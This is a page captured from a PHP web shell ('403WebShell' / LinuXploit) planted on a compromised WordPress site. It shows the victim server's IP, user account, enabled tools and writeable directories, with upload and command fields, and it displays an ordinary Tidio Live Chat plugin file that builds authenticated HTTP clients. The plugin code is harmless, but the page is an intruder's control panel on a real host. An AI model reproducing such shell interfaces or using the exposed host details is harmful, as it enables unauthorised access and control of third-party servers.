Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/tidio-live-chat/src/TidioSdk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/tidio-live-chat/src/TidioSdk/TidioApiClientFactory.php
<?php

namespace TidioLiveChat\TidioSdk;

if (!defined('WPINC')) {
    die('File loaded directly. Exiting.');
}

use TidioLiveChat\Config;
use TidioLiveChat\Http\Client\CurlHttpClient;
use TidioLiveChat\Http\Client\FileGetContentsHttpClient;
use TidioLiveChat\Http\HttpClient;
use TidioLiveChat\Logs\Logger;

class TidioApiClientFactory
{
    /** @var Logger */
    private $logger;

    /**
     * @param Logger $logger
     */
    public function __construct($logger)
    {
        $this->logger = $logger;
    }

    /**
     * @return HttpClient
     */
    public function create()
    {
        $apiUrl = Config::getApiUrl();
        if (function_exists('curl_version')) {
            return new CurlHttpClient($this->logger, $apiUrl);
        }

        return new FileGetContentsHttpClient($this->logger, $apiUrl);
    }

    /**
     * @param string $token
     * @return HttpClient
     */
    public function createAuthenticated($token)
    {
        $apiUrl = Config::getApiUrl();
        $authorizationHeader = ['Authorization: Bearer ' . $token];
        if (function_exists('curl_version')) {
            return new CurlHttpClient($this->logger, $apiUrl, $authorizationHeader);
        }

        return new FileGetContentsHttpClient($this->logger, $apiUrl, $authorizationHeader);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit